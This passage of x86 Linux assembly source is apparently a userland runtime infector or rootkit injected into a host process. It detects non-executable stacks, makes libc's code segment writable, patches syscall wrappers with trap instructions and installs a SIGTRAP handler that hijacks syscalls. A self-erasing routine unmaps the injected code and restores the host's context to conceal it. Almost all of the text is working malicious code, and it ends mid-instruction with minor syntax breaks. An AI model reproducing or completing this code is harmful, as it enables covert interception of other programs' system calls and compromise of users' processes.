rep movsb ; esi= host code, edi= inj_orig_eip
%ifdef DBG
pushad
lea ecx,[ebp+dbug_msg2-gdelta]
call write_logfile
popad
%endif
.set_globals: mov dword[ebp+link_map-gdelta],ecx ; clean link_map var
lea eax,[ebp+mpfr_struct-gdelta] ; maps = &mpfr_struct, used
mov dword[ebp+maps-gdelta],eax ; by sosr() & mpfr() routines
lea eax,[ebp+eraseme-gdelta] ; if any error is produced, the code
mov dword[ebp+sdr-gdelta],eax ; jump to the "self-deleting routine"
%ifdef TEST_SDR
call [ebp+sdr-gdelta] ; test sdr
%endif
; check error routines:
lea eax,[ebp+ckerr_zero-gdelta]
mov dword[ebp+ckfunc-gdelta],eax ; for functions
lea eax,[ebp+ckerr_sone-gdelta]
mov dword[ebp+cksys-gdelta],eax ; for syscalls
mov eax,[ebp+code_address-gdelta]
add eax,[ebp+room_size-gdelta]
sub eax,ade_flagtable_size ; get&save ade flagtable address
mov dword[ebp+ade_flagtable-gdelta],eax ; placed at the end of the segment
sub eax,ade_dstruct_size ; get&save ade disasm struct address
mov dword[ebp+ade_dstruct-gdelta],eax ; placed just before the flagtable
.noexec_detect: mov edx,ecx ; non-exec stack detection code:
.get_segvhndl: push byte 4 ; get current sigsegv handler
pop ecx
.clean_sigact2: push edx ; sigact struct
loop .clean_sigact2
mov edx,esp ; edx = oldact, ecx = 0
push byte sigsegv
pop ebx
push byte sc_sigaction
pop eax
int 80h
call [ebp+cksys-gdelta]
pop eax ; save oldact->handler
mov dword[ebp+orig_segvhndl-gdelta],eax
.set_segvhndl: xchg ecx,edx ; ecx = act , edx = 0
lea eax,[ebp+.sigsegv_hndl-gdelta]
push eax ; act->handler
push byte sc_sigaction ; register .sigsegv_hndl code
pop eax ; as the sigsegv handler
int 80h
call [ebp+cksys-gdelta]
pop eax
; stack layout: [ret(1b)][.test_noexec(vaddr4b)]
.gen_segfault: xor eax,eax ; eax = nonexec stack flag (nxsf)
lea esi,[esp-(1+_push)] ; esi points to "ret" instruction into the stack (esp-1-4)
mov byte[esi],byte _retinst ; put "ret" instr and
call esi ; jump to it = inserts .test_noexec vaddr
.test_noexec: cmp eax,nxsf ; this test if a segfault was produced or not:
jne .rest_segvhndl ; eax != nxsf: exec stack, noexec = 0 (default)
inc byte [ebp+noexec-gdelta] ; eax = nxsf: non exec stack (segfault), noexec = 1
jmp .rest_segvhndl
.sigsegv_hndl: mov edi,esp ; just change eip & eax registers of previous ctx
call getDelta ; if this code is being executed a segfault was produced so
mov dword[edi+sigfrm_ctx_eax],nxsf ; stack is not executable : set flag
lea eax,[ebp+.test_noexec-gdelta]
mov dword[edi+sigfrm_ctx_eip],eax ; change eip to points at ".test_noexec"
%ifdef DBG
pushad
lea ecx,[ebp+dbug_msg3-gdelta]
call write_logfile
popad
%endif
ret ; (sigeturn)
.rest_segvhndl: push dword [ebp+orig_segvhndl-gdelta]; act->handler = orig sigsegv handler
push byte sc_sigaction ; ecx = act, edx = 0
pop eax
int 80h ; restore orig handler
add esp,byte (4*_push)
call [ebp+cksys-gdelta]
push byte (sosr_flag_elf32sym+sosr_flag_onetbl)
lea eax, [ebp+magic_table-gdelta]
push eax
push eax
call rslv_libcsyms ; locate syscall wrappers
add esp,byte(3*_push)
%ifdef DBG
pushad
lea ecx,[ebp+dbug_msg4-gdelta]
call write_logfile
popad
%endif
call patch_scw ; patch syscall wrappers
%ifdef DBG
pushad
lea ecx,[ebp+dbug_msg5-gdelta]
call write_logfile
popad
%endif
call setup_tsd ; prepare TSD
%ifdef DBG
pushad
lea ecx,[ebp+dbug_msg6-gdelta]
call write_logfile
popad
%endif
push sosr_flag_twotbl
lea eax,[ebp+func_vatbl-gdelta]
push eax
lea eax,[ebp+func_hashtbl-gdelta]
push eax
call rslv_libcsyms
add esp,(3*_push)
%ifdef DBG
pushad
push byte 7Fh
pop eax
sub esp,eax
mov ecx,esp
push dword[ebp+code_address-gdelta]
lea ebx,[ebp+dbug_msg0-gdelta]
push ebx
push eax
push ecx
call [ebp+va_snprintf-gdelta]
pop ecx
call write_logfile
add esp,(7Fh+_push*3)
popad
%endif
lea ecx,[ebp+mpfr_struct-gdelta]
push ecx
call mpfr_close ; close mpfr
pop eax
mov byte[ebp+installed-gdelta],dl ; instalation was success
%ifdef
call close_logfile ; close log_file
%endif
eraseme: ; --[ eraseme routine ]-----------------: code eraser and context restorer
mov esp,dword[ebp+orig_esp-gdelta] ; place original context into stack:
mov edi,esp ; registers saved by POPAD & POPFD instructions and
mov ecx,(context_size/4) ; a DWORD which contains the next instruction to be
lea esi,[ebp+context-gdelta] ; executed, the value at the point in which flow
rep movsd ; was interrupted (orig EIP)
add cl,byte 1 ; if the routine was called because of a critical
installed equ $-1 ; error, unmap the segment which contains the code
jecxz restctx ; if not, it is last part of the instalation procedure
mov ecx,[ebp+noexec-gdelta] ; if stack is no executable
dec ecx ; , does not unmap, restore only
jecxz restctx
lea esi,[ebp+eraser-gdelta] ; copy eraser & restctx routines
mov ecx,(ckerr_zero-eraser) ; into the stack
sub esp,ecx
mov edi,esp
rep movsb
push dword[ebp+orig_esp-gdelta] ; push orig esp
; push munmap arguments:
push dword[ebp+room_size-gdelta] ; arg1: segment size
push dword[ebp+code_address-gdelta] ; arg2: segment starting address
push byte sc_munmap ; sysn: munmap number
; stack layout:
lea edx,[esp+_push*4] ; [sysn|arg1|arg2|esp|(eraser/restctx)code|context]
jmp edx ; time to die '---< esp points to >----| |
; | |
eraser: pop eax ; pop munmap syscall number | |
pop ebx ; pop munmap arg1 | |
pop ecx ; pop munmap arg2 | |
pop esp ; pop esp )----------->-------------------' |
int 80h ; execute munmap, free mem (must not fail!!) |
; |
restctx: popfd ; restore ctx, here esp points to ---------->-----'
popad
ret ; after ret, eip & esp are restored
ckerr_zero: test eax,eax ; test if eax == 0
je eraseme
ret
ckerr_sone: test eax,eax ; test if eax == -1
js eraseme
ret
rslv_libcsyms: ;---[ rslv_libcsyms ]-------------------: resolve one or more symbols
pushad ; of the libc shared object
lea ebx,[ebp+sosr_struct-gdelta]
mov esi,dword[esp+_pparam1] ; arg1 = hashtbl
lodsd
mov [ebx+sosr_hash_table],esi
mov edi,dword[esp+_pparam2] ; arg2 = vatbl
mov [ebx+sosr_va_table],edi
mov [ebx+sosr_sym_count],eax
mov eax,dword[esp+_pparam3] ; arg3 = flags
mov [ebx+sosr_flags],eax
lea eax,[ebp+libcso_map_names-gdelta]
mov [ebx+sosr_map_names],eax
lea eax,[ebp+libcso_lkm_names-gdelta]
mov [ebx+sosr_lkm_names],eax
push ebx
call sosr
pop ebx
popad
ret
patch_scw: ;---[ patch_scw routine ]---------------:
pushad
.find_seg: lea eax,[ebp+libcso_map_names-gdelta]
push eax ; name list
lea eax,[ebp+mpfr_struct-gdelta]
push eax ; *mpfr
call mpfr_search_by_names ; get map entry of libc's text segment
add esp,(2*_push)
test eax,eax
je .seg_notfound
.check_seg: mov ebx,dword elf_magic ; check if the entry
bswap ebx ; found is a text segment
mov ecx,dword[eax+mapent_start]
cmp ebx,dword[ecx]
je .save_seg_info
.seg_notfound: call [ebp+sdr-gdelta] ; seg not found or incorrect: error
.save_seg_info: mov ecx,dword[eax+mapent_size] ; save seg base address & size
mov dword[ebp+libc_text_size-gdelta],ecx
mov ebx,dword[eax+mapent_start]
mov dword[ebp+libc_text_base-gdelta],ebx
.unprotect_seg: push ecx
push ebx
push byte 7h ; enable rwx access
pop edx
push byte sc_mprotect
pop eax
int 80h
call [ebp+cksys-gdelta]
.init_ade: push dword[ebp+ade_flagtable-gdelta] ; address of flagtable
call ade_init ; initialize flagtable
pop eax
push dword[ebp+(magic_table+magic_entnum)-gdelta] ; esp+4 = scw count
lea eax,[ebp+(magic_table+magic_entry)-gdelta]
push eax ; esp+0 = hash table address
.process_scw: mov eax,dword[esp]
mov ebx,dword[eax+magic_address] ; ebx = elf32sym address
mov edx,dword[ebx+elf_sym_size] ; edx = ebx->st_size: sym code size
mov esi,dword[ebx+elf_sym_value] ; esi = ebx->st_value: sym code address
cmp esi,dword[ebp+libc_text_base-gdelta]
jae .va
.rva: add esi,dword[ebp+libc_text_base-gdelta]
.va: lea ebx,[ebp+ssii_table-gdelta] ; ebx = ssii table address
movzx ecx,byte[ebx] ; ecx = ssii count
inc ebx
xor edi,edi
.process_ssii: call insert_hook ; search any ssii within the symbol
add edi,eax ; code and replace them with a hook
mov al,byte[ebx+ssii_next]
add ebx,eax
loop .process_ssii
test edi,edi
jne .next_scw
mov eax,dword[esp] ; none was found
mov byte[eax+magic_code],magic_badentry
.next_scw: add dword[esp],magic_entsize ; next scw, dec counter
dec dword[esp+4]
jne .process_scw
add esp,(2*_push)
.protect_seg: pop ebx ; restore the original
pop ecx ; access protection values
push byte 5
pop edx
push byte sc_mprotect
pop eax
int 80h
call [ebp+cksys-gdelta]
popad
ret
insert_hook: ; search any ssii within the symbol code and
; replace them with hooks. Params:
; edx = code size, esi = code start, ebx = ssii desc
pushad
xor eax,eax
mov [ebp+ssii_found-gdelta],eax ; set found var = 0
; ade_disasm params:
push dword[ebp+ade_flagtable-gdelta] ; p3: flagtable address
push dword[ebp+ade_dstruct-gdelta] ; p2: disasm struct address
push esi ; p1: code address
.next_inst: mov edi,dword[esp+_push] ; disassemble one instruction:
mov word[edi],0404h ; set disasm options = 32 bit code
sub edx,eax ; code size - next instr size (first time eax = 0)
je .ret ; test if end of code
add dword [esp],eax ; point to next instr (first time eax = 0)
.disasm_instr: call ade_disasm ; ret(eax) = instr size
.check_size: cmp al,byte[ebx+ssii_size] ; * first check: compare size
jne .next_inst ; size not equal, try next instr
.check_content: movzx ecx,byte[ebx+ssii_contentsz] ; get bytes to be compared
lea edi,[ebx+ssii_content]
mov esi,dword[esp]
repe cmpsb ; * second check: compare instruction content
jne .next_inst ; code not equal, try next instr
mov dword[ebp+ssii_found-gdelta],1h ; ssii found: found_var = 1
push eax ; save instr size
.patch movzx ecx,byte[ebx+ssii_contentsz] ; respos esi to the first byte
sub esi,ecx ; of the instruction
mov cl,byte[ebx+ssii_size] ; get instruction size
xchg edi,esi
.write_trap: push _trap
pop eax
stosb ; insert trap
push _nop
pop eax
dec ecx
.write_nop: stosb ; insert nops
loop .write_nop
pop eax
jmp .next_inst
.ret: add esp,(3*_push)
mov eax,12345678h
ssii_found equ $-4
mov dword[esp+_pushad_eax],eax
popad
ret
setup_tsd: ;---[ setup_tsd routine ]---------------:
pushad
xor ecx,ecx
.get_traphndl: mov edx,ecx
mov cl, byte 4
.clean_sigact: push edx ; sigaction struct (16b)
loop .clean_sigact
mov edx,esp ; edx = oldact, ecx = 0
push byte sigtrap
pop ebx
push byte sc_sigaction
pop eax
int 80h ; get original sigtrap hanlder
call [ebp+cksys-gdelta]
pop eax
test eax,eax
je .set_traphndl ; oldact->handler = 0, no handler
mov dword [ebp+orig_traphndl-gdelta],eax ; save oldact->handler
.set_traphndl: xchg ecx,edx
lea eax, [ebp+tsd-gdelta]
push eax ; act->handler = new handler address
push byte sc_sigaction ; ecx = act, edx = 0
pop eax
int 80h ; set our sigtrap handler: the TSD
add esp,(4*_push)
call [ebp+cksys-gdelta]
.install_sch: mov ecx,[ebp+(magic_table+magic_entnum)-gdelta]
lea esi,[ebp+(magic_table+magic_entry)-gdelta]
mov edi,esi
.next: xor eax,eax ; register syscall sub-handlers
lodsb
stosb ; get syscall number
call schndl_lookup ; get handler for this syscall = eax
stosd ; save handler address
lodsd
loop .next
%ifdef CRYPT
.gen_keys: mov edx,ecx ; generate a pair of "random" keys
lea ebx,[ebp+dev_random-gdelta]
push byte sc_open ; open /dev/random
pop eax ; mode = 0, flags = O_RDONLY(0)
int&nbs